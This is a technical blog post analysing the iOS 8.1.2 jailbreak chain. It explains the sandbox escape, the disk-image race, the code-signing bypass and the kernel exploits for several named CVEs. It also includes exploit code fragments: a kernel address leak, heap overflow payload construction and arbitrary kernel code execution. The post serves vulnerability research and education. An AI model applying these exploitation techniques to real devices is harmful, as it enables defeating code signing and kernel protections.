0x00 Introduction
This post mainly introduces:- my understanding on jailbreak
- the working process of an iOS 8.1.2 jailbreak tool
- the exploits used in a jailbreak
- the exploitation method for each exploit
0x01 What is Jailbreak
To illustrate what jailbreak is, let’s first check out the things that we are not able to do without jailbreak:- Install ordinary apps with arbitrary signature and system apps
- Install SSH
- Add command line apps
- Add a Daemon
- Add or delete any files
- Obtain any Mach Task
- Forge Entitlements
- Enable memory page to be writeable and executable
- …
- fail the code signing mechanism
- fail the protection to memory page (W+X)
- fail the protection to disk partition (/dev/disk0s1s1)
- fail the protection to Rootless, which is used to ensure system integrity;
0x02 Set a Target
The process of a jailbreak is actually the process to attack an iOS. Before we launch an attack, we have to set a target. In general, it is the iOS system, but this target is too broad to guide an attack. So we need a more specific one. But how do we determine a specific target? All we need is to find the parts that are responsible for corresponding protection methods in the system. Here are the targets that I conclude:- Kernel, amfid, libmiss.dylib:
- Kernel: the protection mechanism to memory page is implemented solely in kernel.
- Get root permission: it requires root permission to mount a disk partition.
The above is my interpretation on a jailbreak. Next I’ll illustrate the attacking flow, the exploits and exploitation used in the case of iOS 8.1.2.
0x03 Attack Overview
For the attack initiated through USB, the first problem to solve is how to evade a sandbox. The sandbox here refers to not only the process behavior limited by Sandbox.kext but also a generalized concept, for example, the entire iOS can be seen as a sandbox. The sandbox only enables several services by default:
Figure 1-services enabled by the sandbox
Method 1:
First, use a kernel exploit (CVE-2014-4491) to obtain the starting address of the kernel and the Slide of KASLR. Then, combine a kernel exploit (CVE-2014-4496) and an IOHIDFamily exploit (CVE-2014-4487) to create space for executing arbitrary code execution and accessing the kernel. In the following, use Kernel Patch Finder to find the aforementioned protection code and some Gadget to construct a ROP chain to patch the kernel.
Method 2:
First, use a kernel exploit (CVE-2014-4496) to get the Slide of KASLR. Then, use an IOHIDFamily exploit (CVE-2014-4487) to implement arbitrary kernel reading, access the virtual function table of a known object and calculate the base address loaded in the kernel. The following is the same as Method 1. In fact, compared to Method 2, Method 1 uses one more exploit.
0x04 Attacking Flow
1.Break a sandbox
Related ExploitsCVE-2014-4480
AppleFileConduit – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A maliciously crafted afc command may allow access to protected parts of the filesystem
Description: A vulnerability existed in the symbolic linking mechanism of afc. This issue was addressed by adding additional path checks.
CVE-ID
CVE-2014-4480 : TaiG Jailbreak Team
table 1-CVE-2014-4480
CVE-2015-1087
Backup – Fixed in iOS 8.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: An attacker may be able to use the backup system to access restricted areas of the file system
Description: An issue existed in the relative path evaluation logic of the backup system. This issues was addressed through improved path evaluation.
CVE-ID
CVE-2015-1087 : TaiG Jailbreak Team
table 2-CVE-2015-1087
Prepare directory structure
Use the AFC service to create directories, files and soft links
(1)Create a directory
PublicStaging/cache/mmap
__proteas_ex__/a/b/c
__proteas_ex__/var/mobile/Media/PublicStaging/cache
__proteas_mx__/a/b/c/d/e/f/g
__proteas_mx__/private/var
(2)Create an empty file
__proteas_ex__/var/mobile/Media/PublicStaging/cache/mmap
__proteas_mx__/private/var/run
(3)Create a soft link
__proteas_ex__/a/b/c/c ->
../../../var/mobile/Media/PublicStaging/cache/mmap
__proteas_mx__/a/b/c/d/e/f/g/c -> ../../../../../../../private/var/run
table 3-directory structure
Figure 2-the log used to create a directory
afcd[395] <Error>:
AFCFileLine="1540"
AFCFileName="server.c"
AFCCode="-402636793"
NSDescription="Request path cannot contain dots :
../../../var/mobile/Media/PublicStaging/cache/mmap"
AFCVersion="232.5"
table 4- AFC reports error message
Trigger backup recovery
Let’s first look at the backup recovery result that is triggered.
iPhone5s:~ root# ls -al /var/run/mobile_image_mounter
lrwxr-xr-x 1 mobile mobile 50 Jun 26 17:29
/var/run/mobile_image_mounter -> ../../../var/mobile/Media/PublicStaging/cache/mmap
table 5- the backup recovery result
Some temporary directory is created when mounting DDI. Using the recovered exploit, this temporary directory will be exposed to the sub directory in Media creating conditions for DDI exploitation.
1848 BackupAgent Chowned /private/var/.backup.i/var/Keychains
1848 BackupAgent Created dir /private/var/.backup.i/var/Managed Preferences
1848 BackupAgent Created dir /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent Chowned /private/var/.backup.i/var/Managed Preferences/mobile
1848 BackupAgent Created dir /private/var/.backup.i/var/MobileDevice
1848 BackupAgent Created dir /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent Chowned /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles
1848 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media
1848 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media/PhotoData
1848 BackupAgent Renamed /private/var/mobile/Media/__proteas_mx__/a/b/c/d/e/f/g/c /private/var/.backup.i/var/mobile/Media/PhotoData/c
1848 BackupAgent Chowned /private/var/run
1848 BackupAgent Chowned /private/var/run
1848 Renamed /private/var/mobile/Media/__proteas_ex__/a/b/c/c /private/var/run/mobile_image_mounter
1848 Chowned /private/var/mobile/Media/PublicStaging/cache/mmap
table 6- the recovered log by backup
Apple’s description on CVE-2015-1087 is rather simple. But it’s not that easy to write a POC. When compiling it, you need to pay attention:
- If you use libimobiledevice to write exploitation, you need to rewrite
mobilebackup_client_new
to control the exchange of version number. Or else BackupAgent won’t start. - You need to construct the malicious Payload (Plist data) based on the protocol of Mobile Backup. So that BackupAgent can create the above link.
- Use
mobilebackup_send
to send the Plist and usemobilebackup_receive
to receive the response. Determine if the execution is successful.
//-- Debug
void debug_plist(plist_t plist)
{
if (!plist) {
printf("[-] debug_plist: plist handle is NULL\n");
return;
}
char *buffer = NULL;
uint32_t length = 0;
plist_to_xml(plist, &buffer, &length);
if (length == 0) {
printf("[-] debug_plist: length is zero\n");
return;
}
char *cstr = (char *)malloc(length + 1);
memset(cstr, 0, length + 1);
memcpy(cstr, buffer, length);
printf("[+] DEBUG PLIST:\n");
printf("--------------------------------------------\n");
printf("%s\n", cstr);
printf("--------------------------------------------\n");
free(buffer);
free(cstr);
}
table 7- the code to debug plist
Current process
At this time, through exploiting the two exploits, the temporary directory of Image Mounter is exposed from the mount dmg to /var/mobile/Media/PublicStaging/cache/mmap, which is prepared for the exploitation of DDI.
2.Exploit DDI
Related exploitsCVE-2015-1062
MobileStorageMounter – Fixed in iOS 8.2
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to create folders in trusted locations in the file system
Description: An issue existed in the developer disk mounting logic which resulted in invalid disk image folders not being deleted. This was addressed through improved error handling.
CVE-ID
CVE-2015-1062 : TaiG Jailbreak Team
table 8-CVE-2015-1062
Payload Introduction
There are two payloads, which are two dmg files.
The first dmg contains three partitions:
- DeveloperDiskImage,an empty partition
- DeveloperCaches, which will be mounted to /System/Library/Caches
- DeveloperLib, which will be mounted to /usr/lib
├── Developer-Caches
│ └── com.apple.dyld
│ └── enable-dylibs-to-override-cache
├── Developer-Lib
│ ├── FDRSealingMap.plist
│ ├── StandardDMCFiles
│ │ ├── N51_Audio.dmc
│ │ ├── N51_Coex.dmc
│ │ ├── N51_Default.dmc
│ │ ├── N51_Flower.dmc
│ │ ├── N51_FullPacket.dmc
│ │ ├── N51_GPS.dmc
│ │ ├── N51_Powerlog.dmc
│ │ ├── N51_SUPL.dmc
│ │ ├── N51_Sleep.dmc
│ │ └── N51_Tput.dmc
│ ├── dyld
│ ├── libDHCPServer.dylib -> libDHCPServer.A.dylib
│ ├── libMatch.dylib -> libMatch.1.dylib
│ ├── libexslt.dylib -> libexslt.0.dylib
│ ├── libmis.dylib
│ ├── libsandbox.dylib -> libsandbox.1.dylib
│ ├── libstdc++.dylib -> libstdc++.6.dylib
│ ├── system
│ │ └── introspection
│ │ └── libdispatch.dylib
│ └── xpc
│ └── support.bundle
│ ├── Info.plist
│ ├── ResourceRules.plist
│ ├── _CodeSignature
│ │ └── CodeResources
│ └── support
└── DeveloperDiskImage
10 directories, 24 files
table 9- contents of 1st dmg
The 1st dmg has two important files:
- enable-dylibs-to-override-cache: We know that almost all dylib in the iOS is pre-linked to a Cache file. Applications would load dylib from Cache by default and neglect the dylib in the system. Only when enable-dylibs-to-override-cache exists in the file system, dyld (Image Loader) would first load the dylib in the file system. Apple may use this mechanism as a reserve way or use it to support hot patching for system components.
- libmis.dylib, a malformed dylib, which was used for code signing. This will be covered in detail later.
├── Library
│ └── Lockdown
│ └── ServiceAgents
│ ├── com.apple.load_amfi.plist
│ ├── com.apple.mount_cache_1.plist
│ ├── com.apple.mount_cache_2.plist
│ ├── com.apple.mount_cache_3.plist
│ ├── com.apple.mount_cache_4.plist
│ ├── com.apple.mount_cache_5.plist
│ ├── com.apple.mount_cache_6.plist
│ ├── com.apple.mount_cache_7.plist
│ ├── com.apple.mount_cache_8.plist
│ ├── com.apple.mount_lib_1.plist
│ ├── com.apple.mount_lib_2.plist
│ ├── com.apple.mount_lib_3.plist
│ ├── com.apple.mount_lib_4.plist
│ ├── com.apple.mount_lib_5.plist
│ ├── com.apple.mount_lib_6.plist
│ ├── com.apple.mount_lib_7.plist
│ ├── com.apple.mount_lib_8.plist
│ ├── com.apple.ppinstall.plist
│ ├── com.apple.remove_amfi.plist
│ ├── com.apple.umount_cache.plist
│ └── com.apple.umount_lib.plist
├── bin
│ └── ppunmount
├── pploader
└── pploader.idb
4 directories, 24 files
This dmg will be mounted to /Developer and the system will handle its contents in a unified way. More specifically, the applications in /Developer/bin is contained in the search path of the system by default.
Parsing the exploit
Apple’s description on this exploit is relative brief. On the Internet, it says this exploit can use race condition to replace a dmg. The primary problem is race condition, but apple has never fixed it and it’s hard to patch. However, DDI has another problem. Let’s have a look.
The contents in /dev before triggering the exploit:
brw-r—– 1 root operator 1, 0 Jun 26 19:07 /dev/disk0
brw-r—– 1 root operator 1, 1 Jun 26 19:07 /dev/disk0s1
brw-r—– 1 root operator 1, 3 Jun 26 19:07 /dev/disk0s1s1
brw-r—– 1 root operator 1, 2 Jun 26 19:07 /dev/disk0s1s2
brw-r—– 1 root operator 1, 4 Jun 26 19:07 /dev/disk1
brw-r—– 1 root operator 1, 5 Jun 26 19:07 /dev/disk2
brw-r—– 1 root operator 1, 6 Jun 26 19:07 /dev/disk3
brw-r—– 1 root operator 1, 7 Jun 26 19:07 /dev/disk4
brw-r—– 1 root operator 1, 8 Jun 26 19:08 /dev/disk5
table 11-before mounting the dmg
The contents in /dev after triggering the exploit:
brw-r—– 1 root operator 1, 0 Jun 26 19:22 /dev/disk0
brw-r—– 1 root operator 1, 1 Jun 26 19:22 /dev/disk0s1
brw-r—– 1 root operator 1, 2 Jun 26 19:22 /dev/disk0s1s1
brw-r—– 1 root operator 1, 3 Jun 26 19:22 /dev/disk0s1s2
brw-r—– 1 root operator 1, 4 Jun 26 19:22 /dev/disk1
brw-r—– 1 root operator 1, 5 Jun 26 19:22 /dev/disk2
brw-r—– 1 root operator 1, 6 Jun 26 19:22 /dev/disk3
brw-r—– 1 root operator 1, 7 Jun 26 19:22 /dev/disk4
brw-r—– 1 root operator 1, 8 Jun 26 19:23 /dev/disk5
brw-r—– 1 root operator 1, 9 Jun 26 19:26 /dev/disk6
brw-r—– 1 root operator 1, 10 Jun 26 19:26 /dev/disk6s1
brw-r—– 1 root operator 1, 11 Jun 26 19:26 /dev/disk6s2
brw-r—– 1 root operator 1, 12 Jun 26 19:26 /dev/disk6s3
table 12-after mounting the dmg
The above two tables respectively represent the results before and after mounting the 1st dmg by using race condition. As we mentioned earlier, the DeveloperDiskImage partition of the 1st dmg is empty. So no contents can be replaced.
By comparison, we can see there is another issue in MobileStorageMounter: when mounting an illegal dmg, even if it fails, the corresponding partitions will still exist in the device directory. These disks will be mounted during a jailbreak:
- disk6s3 is mounted to /System/Library/Caches
- disk6s2 is mounted to /usr/lib
Before triggering the race condition to replace the dmg, first you need to find the temporary directory of the dmg. The following explains the constructing rules for the temporary directory.
First let’s see the real path. Then we’ll explain the constructing method:
/var/run/mobile_image_mounter/
6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b
1fe99fcb2baeb3db5348ab322cb65c7fc38b59cb75697cbc29221dce1ecd120d/
909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39
f35e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/
table 13- the temporary directory created by mount dmg
As shown in the table, the blue one is the first part of the path; the green one is the second part (note: the second and third line of the code are blue, the forth and fifth line are green.). Next are the contents from the corresponding signature file of the dmg:
Figure 3-DeveloperDiskImage.dmg.signature
After comparison, we’ll notice the creation rule for temporary directory is: to convert the contents of the signature file into a hex string, then take the first 64 bytes as the first part of the path and take the last 64 bytes as the second part, after which append a random filename to the dmg file, such as 1Nm843.dmg.
When finding the dmg file, it’s relatively easier to trigger the race condition. To be specific: first check if DDI is mounted (the development device is likely to be mounted). If it is mounted, restart the device. If it’s not mounted, first load the real DDI and signature, then create a temporary directory, upload the forged DDI and call relevant service to mount the real DDI, next use the fake DDI to replace the aforementioned temporary file (1Nm843.dmg).
Exploitation result
After exploiting the DDI, the partitions of the 1st dmg is reserved in the device while the contents of the second dmg is mounted to /Developer:
/Developer/Library
/Developer/bin
/Developer/pploader
/Developer/Library/Lockdown
/Developer/Library/Lockdown/ServiceAgents
/Developer/Library/Lockdown/ServiceAgents/com.apple.load_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_cache_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_1.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_2.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_3.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_4.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_5.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_6.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_7.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.mount_lib_8.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.ppinstall.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.remove_amfi.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_cache.plist
/Developer/Library/Lockdown/ServiceAgents/com.apple.umount_lib.plist
/Developer/bin/ppunmount
table 14-contents in /Developer of the device
On finishing the exploitation of DDI, it equals that we add some more services to the system. If these services use the applications within the system, such services can be directly called; it they use their own applications, they first need to filter out the code signature.
Figure 4-com.apple.remove_amfi.plist
Figure 5-com.apple.ppinstall.plist
So far, the only thing left for us is to filter out the code signature so that arbitrary code can be executed with root permission in suer space. Next we’ll observe code signature.
3.Bypass code signature
Related exploitsCVE-2014-4455
dyld – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A local user may be able to execute unsigned code
Description: A state management issue existed in the handling of Mach-O executable files with overlapping segments. This issue was addressed through improved validation of segment sizes.
CVE-ID
CVE-2014-4455 : TaiG Jailbreak Team
table 15-CVE-2014-4455
Here the bypass code signature uses the same technique adopted by previous jailbreak tools, but leverages different exploits. It also uses the dylib function re-export technique. After exploiting this technique, libmiss.dylib becomes a dylib with pure data. On execution, page fault won’t trigger the kernel to verify code signature. This is an important point, because the bypass code signature technique here is not generic and only targets pure -data dylib.
I believe everyone have read code related articles, such as, death of the vmsize=0 dyld trick by Stefan Esser. We all know how to use MachO’s Segment override technique to bypass code signature, here we won’t detail this technique. But we’ll look into another problem: since a pure-data dylib itself has no code, why do we have to bother to bypass code signature? Because the loader requires MachO files to be with a code segment, even if the code is not required by itself.
Figure 6-Library Validation diagram
As a result, libmiss.dylib also uses code signature transplanting technique to bypass LV. Here is an idea to transplant a code signature:
- Parse the MachO file to be exploited, such as afcd, dump its signature data to a file and get its size.
- Before change libmiss.dylib to be malformed and use codesign_allocate to apply for signature space in dylib. The space size is the one in step1:
man codesign_allocate
codesign_allocate -i libmis.dylib -a arm64 128 -o libmis2.dylib
- Malform the libmiss.dylib
- Use binary editor to modify libmiss.dylib and replace the signature space with the exported signature data in step1.
4.Execute arbitrary code with root permission in user space
By now, we have a malformed libmiss.dylib. So long as afmid loads this dylib, we’ll bypass the code signature. In the following, we’ll see how the jailbreak tool executes the services in /Developer/Library/Lockdown/ServiceAgents and in what order:- Call the services in com.apple.mount_cache_1~8.plist and mount /dev/disk1s3 to /System/Library/Caches. The purpose is to add enable-dylibs-to-override-cache to the system, so that we can use the libmiss.dylib in the disk to override the file in dylib cache. The reason to have 8 plist is that the jailbreak tool won’t be sure the file is in which disk.
- Call the services in com.apple.mount_lib_1~8.plist and mount /dev/disk1s2 to /usr/lib. So that libmiss.dylib exists in the file system.
- Call the service in com.apple.remove_amfi.plist and stop amfid.
- Call the service in com.apple.load_amfi.plist and restart the amfid service. Because of the existence of enable-dylibs-to-override-cache, the malformed libmis.dylib in /usr/lib will be loaded and the function with code signature will be exported. The response for code signature request will always be 0 that represent the signature is valid. Thereafter, we will be able to execute arbitrary code.
- Call the service in com.apple.ppinstall.plist and run untether with root permission. The untether will mount root partition to be writable, then copy the payload from /var/mobile/Media to corresponding system directory. Next is to attack the kernel and patch the security feature mentioned at the beginning.
- Call the service in com.apple.umount_cache.plist and recovery /System/Library/Caches to the status on disk.
- Call the service in com.apple.umount_lib.plist and recovery /usr/lib to the status on disk.
5.Persistence(untethered jailbreak)
The so-called untethered jailbreak means the device can auto start untecher after reboot, which requires untether to be a service booting at startup. We know the startup services in the system are store at /System/Library/LaunchDaemons/. Among them, each is configured by a plist. But since iOS7, the plist for startup service has to embed into libxpc.dylib, because apple wants to use code signature technique to prevent malware changing startup services.Therefore, to enable untether start on boot, we need to embed associated plist into libxpc.dylib. As libxpc.dylib will be modified, which causes it code signature destroyed, so we have to use the same technique as constructing the libmiss.dylib to bypass code signature and library verification.
The following explains how the system access plist data from libxpc.dylib:
- Use dlopen to load libxpc.dylib
- Call dlsym to determine if there exists export symbol:
__xpcd_cache
- Call dladdr to get the address of
__xpcd_cache
- Call getsectiondata to get the Section data that includes
__xpcd_cache
- Call CFDataCreateWithBytesNoCopy to create a CFData object
- Call CFPropertyListCreateWithData to tranform Data into plist
https://github.com/Proteas/xpcd_cache_printer
I've explained persistence here because persistence is an important part of untethered jailbreak, but it’s not a kernel exploit. Next I’ll introduce the exploits and exploitations related to kernel.
6.Kernel information leaks
Related ExploitsCVE-2014-4491
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: An information disclosure issue existed in the handling of APIs related to kernel extensions. Responses containing an OSBundleMachOHeaders key may have included kernel addresses, which may aid in bypassing address space layout randomization protection. This issue was addressed by unsliding the addresses before returning them.
CVE-ID
CVE-2014-4491 : @PanguTeam, Stefan Esser
table 17-CVE-2014-4491
CVE-2014-4496
Kernel – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be able to determine addresses in the kernel
Description: The mach_port_kobject kernel interface leaked kernel addresses and heap permutation value, which may aid in bypassing address space layout randomization protection. This was addressed by disabling the mach_port_kobject interface in production configurations.
CVE-ID
CVE-2014-4496 : TaiG Jailbreak Team
table 18-CVE-2014-4496
Exploitation
CVE-2014-4491 is a logic exploit that doesn’t require many exploitation tricks. Using the following code, you’ll get kernel information:
(NSData *)getKextInfoData
{
vm_offset_t request = "<dict><key>Kext Request Predicate</key><string>Get Loaded Kext Info</string></dict>";
mach_msg_type_number_t requestLength = (unsigned int)strlen(request) + 1;
vm_offset_t response = NULL;
mach_msg_type_number_t responseLength = 0;
vm_offset_t log = NULL;
mach_msg_type_number_t logLength = 0;
kern_return_t opResult = KERN_SUCCESS;
kext_request(mach_host_self(),
0,
request,
requestLength,
&response,
&responseLength,
&log,
&logLength,
&opResult);
if (opResult != KERN_SUCCESS) {
printf("[-] getKextInfoString: fail to request kernel info\n");
return NULL;
}
NSData *responseData = [[NSData alloc] initWithBytes:response length:responseLength];
return [responseData autorelease];
}
table 19-exploit CVE-2014-4491
The specific information is shown in the figure:
Figure 7-kernel information
After getting the kernel information, you can parse the xml data and get the corresponding Base64 string of OSBundleMachOHeaders before parsing the string to obtain a MachO:
Figure 8-MachO Header
Then parse this MachO header and get the start addresses of
__TEXT Segment
and``__PRELINK_STATE
. Next, calculate the start address of the kernel based on that of __PRELINK_STATE.
Subtract the start address of the kernel from that of __TEXT
is the Slide of KASLR. The kernel ends where __PRELINK_INFO Segment
is ended. By this way, we get the start address and the end address of the kernel, as well as the Slide if KASLR. These information can be applied in two aspects: it requires the actual address of the kernel to patch the kernel and it also requires the Slide of KASLR to obtain the actual address of the heap object when exploit the kernel heap.
CVE-2014-4496 is a logic exploit that Stefan Esser has fully described:
mach_port_kobject()
and the kernel address obfuscationYou may read it in depth. Here is the specific method to get the constant object:
io_master_t io_master = 0;
kret = host_get_io_master(mach_host_self(), &io_master);
table 20-create a constant object
Now that’s all about the exploits related to kernel information leaks. They are all preparation works for reading and executing the kernel code.
7. Kernel read and arbitrary code execution
Relate exploitsCVE-2014-4487
IOHIDFamily – Fixed in iOS 8.1.3
Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A buffer overflow existed in IOHIDFamily. This issue was addressed through improved size validation.
CVE-ID
CVE-2014-4487 : TaiG Jailbreak Team
table 21-CVE-2014-4487
Pangu Team concludes a post to introduce the causes of this exploit and how to exploit it. You may read it here:
CVE-2014-4487 – IOHIDLibUserClient Heap Overflow Vulnerability
Exploitation: release thememory block from small zone to a big zone. Combined with heap Feng Shui, apply for the released memory block immediately so the neighboring small kernel block will be overwritten.
Figure 9-Eploit Heap Overflow
Kernel Read
Kernel read mainly uses the ool descriptor of mach_msg. The specific process is as follows:
1.Use Heap Feng Shui to apply 8 consecutive memory blocks from zone-256
2.Release the first five memory blocks
3.Send mach message to the current Mach Task (untether). This message contains 8 ool descriptors and the size of each ool descriptor is:
256 – sizeof(fake_vm_map_copy_64)
typedef struct fake_vm_map_copy_64_ {
uint32_t type;
uint64_t offset;
uint64_t size;
union {
struct {
uint8_t something[64];
};
uint64_t object;
struct {
uint64_t kdata;
uint64_t kalloc_size;
};
};
} fake_vm_map_copy_64;
table 22-critical data structure:
fake_vm_map_copy_64
In this way, the released memory blocks will be applied for immediately.
4.Release the last 3 memory blocks in Heap Feng Shui.
5.Trigger the exploit and the 6th memory block will be added to zone-1024.
6.Send another message to yourself, the size of ool descriptor is
960 – sizeof(fake_vm_map_copy_64)
, because the system will allocate a 960 sized memory block from zone-1024, all we need is to control the contents of 960 memory blocks to overflow the heap.
7.Control the overflow:
(void)constructPayload:(uint8_t *)buffer
kobjectAddress:(mach_vm_address_t)kobject_address
readAddress:(mach_vm_address_t)address
_readSize:(mach_vm_size_t)size
{
// 0xA8 = 168(payload) = 256 - sizeof(fake_vm_map_copy_64)
if (size < 0xA8) {
size = 0xA8;
}
// 0x368 = 872 = 960 - 88
// 0x0A8, 0x1A8, 0x2A8, 0x3A8
// 0x3A8 - 0x368 = 0x40 = 64
fake_vm_map_copy_64 *vm_copy_struct_ptr = (fake_vm_map_copy_64 *)(buffer + 0xA8);
for (int idx = 0; idx < 3; ++idx) {
memset(vm_copy_struct_ptr, 0, sizeof(fake_vm_map_copy_64));
if (idx == 0) {
vm_copy_struct_ptr->type = 0x3;
vm_copy_struct_ptr->size = size;
vm_copy_struct_ptr->kdata = address;
vm_copy_struct_ptr->kalloc_size = 0x100;
}
else {
vm_copy_struct_ptr->type = 0x3;
vm_copy_struct_ptr->size = 0xA8; // 0xA8 = 256 - 0x58 = 168 = ool memory size
vm_copy_struct_ptr->kdata = kobject_address;
vm_copy_struct_ptr->kalloc_size = 0x100;
}
vm_copy_struct_ptr = (mach_vm_address_t)vm_copy_struct_ptr + 0x100;
}
}
table 23-control the overflow
8.Drectly receive the message and kernel data is read into user space.
This code (from the internet) can print the contents to read, which is convenient to debug the kernel read:
void HexDump(char *description, void *addr, int len)
{
int idx;
unsigned char buff[17];
unsigned char *pc = (unsigned char *)addr;
// Output description if given.
if (description != NULL)
printf ("%s:\n", description);
// Process every byte in the data.
for (idx = 0; idx < len; idx++) {
// Multiple of 16 means new line (with line offset).
if ((idx % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (idx != 0)
printf (" | %s\n", buff);
// Output the offset.
printf (" %04X:", idx);
}
// Now the hex code for the specific character.
printf (" %02X", pc[idx]);
// And store a printable ASCII character for later.
if ((pc[idx] < 0x20) || (pc[idx] > 0x7e))
buff[idx % 16] = '.';
else
buff[idx % 16] = pc[idx];
buff[(idx % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((idx % 16) != 0) {
printf (" ");
idx++;
}
// And print the final ASCII bit.
printf (" | %s\n", buff);
}
table 24-print the memory contents
Kernel information leaks
The kernel information leak is achieved based on kernel read. Here is the exploitation process:
- Use the aformentioned kernel information lead exploit to obtain the actual kernel address of a kernel object
- Then use kernel read to read the contents of the object
- Extract the size value of the first mach_vm_address_t from the contents,. This value represents the address for the virtual function table
- Use kernel read again to read the contents of virtual function table
- Pick a pointer from the contents
(mach_vm_address_t)getKernelBaseAddresses:
(mach_vm_address_t)hid_event_obj_kaddress
{
// HID Event Object Memory Content
unsigned char *hid_event_obj_content =
[self readKernelMemoryAtAddress:hid_event_obj_kaddress + 0x1 size:0x100];
unsigned long long *hid_event_service_queue_obj_ptr =
(unsigned long long *)(hid_event_obj_content + 0xE0);
// HID Event Service Queue Memory Content
unsigned char *hid_event_service_queue_obj_content =
[self readKernelMemoryAtAddress:*hid_event_service_queue_obj_ptr size:0x80];
unsigned long long *hid_event_service_queue_vtable_ptr_0x10 =
(unsigned long long *)(hid_event_service_queue_obj_content);
unsigned char *hid_event_service_queue_vtable_content_0x10 =
[self readKernelMemoryAtAddress:*hid_event_service_queue_vtable_ptr_0x10 size:0x18];
unsigned long long *fifth_function_ptr_of_vtable =
(unsigned long long *)(hid_event_service_queue_vtable_content_0x10 + 0x10);
mach_vm_address_t kernel_base =
((*fifth_function_ptr_of_vtable - (0x200 << 12)) & 0xffffff80ffe00000) + 0x2000;
return kernel_base;
}
table 25: calculate the base address of the kernel
Arbitrary kernel code execution
The exploitation idea of arbitrary kernel code execution is the same as that of kernel read. The difference lies in some details, here is the exploitation process:
- Use memory mapping to map part of kernel memory to user space
- Calculate the actual address for the mapped memory in kernel through kernel read
- Construct and populate a virtual function table to the mapped memory
- Use the exploit to overwrite the memory of a small object, but the main purpose of Payload construction is to rewrite the function pointer
- Call Hacked object methods, such as release, to control PC pointer
(void)arbitraryExecutationDemo
{
mach_port_name_t port_960 = 0;
[self prepareReceivePort1:NULL port2:&port_960];
io_connect_t fengshuiObjBuf[PRTS_ContinuousMemoryCount] = {0};
mach_vm_address_t firstObjectKAddr = NULL;
mach_vm_address_t lastObjectKAddr = NULL;
[self allocObjects:fengshuiObjBuf
firstObjectKAddr:&firstObjectKAddr
lastObjectKAddr:&lastObjectKAddr];
_fengshui_not_released_obj_count = PRTS_FengshuiObjectCountKeep;
uint8_t ool_buf_960[0x400] = {0};
[self constructArbitraryExePayload:ool_buf_960
vtableAddress:_fake_port_kernel_address_base];
[self doFengshuiRelease2:fengshuiObjBuf];
[self waitFengshuiService];
[self triggerExploit];
[self allocVMCopy:port_960
size:960
buffer:ool_buf_960
descriptorCount:2];
[self releaseResource];
io_connect_t hacked_connection =
fengshuiObjBuf[PRTS_ContinuousMemoryCount - _fengshui_not_released_obj_count - 1];
printf("[+] start to trigger arbitrary executation, device will reboot\n");
IOServiceClose(hacked_connection);
[self waitFengshuiService];
printf("[+] success to trigger arbitrary executation, device will reboot\n");
}
table 26-trigger arbitrary code execution
Figure 10-rewrite the results of the virtual function table
The above only describes how to use exploits, the jailbreak tool needs to implement Kernel Patch Finder to search for ROP Gadgets and construct the ROP chain to patch related security mechanisms of the kernel.
8.Fix and Cleaning
The fix and cleaning work done by the jailbreak tool includes:- Fix heap status. This is destructed during exploitation, which leads the kernel to be unstable.
- Fix some service status in user space.
0x05 Conclusion
The above discusses the process of a jailbreak, the exploits required for a jailbreak and some exploitation ideas. I wish you may find it helpful. At last, there are several points to illustrate:- During the process of iOS 8.1.2 jailbreak, there are 7 seven exploits used, 4 in user space and 3 in kernel space. As can been seen, user space defense plays an important part in jailbreak and the exploits in suer space are almost logic exploits. Such exploits will be less and less.
- The above post only covers the exploits used in jailbreak. But in real development of a jailbreak tool, producibility is an important factor. Specifically speaking, it refers to stability and compatibility. This shows it’s not easy to develop a jailbreak tool.
Proteas
2015-06-25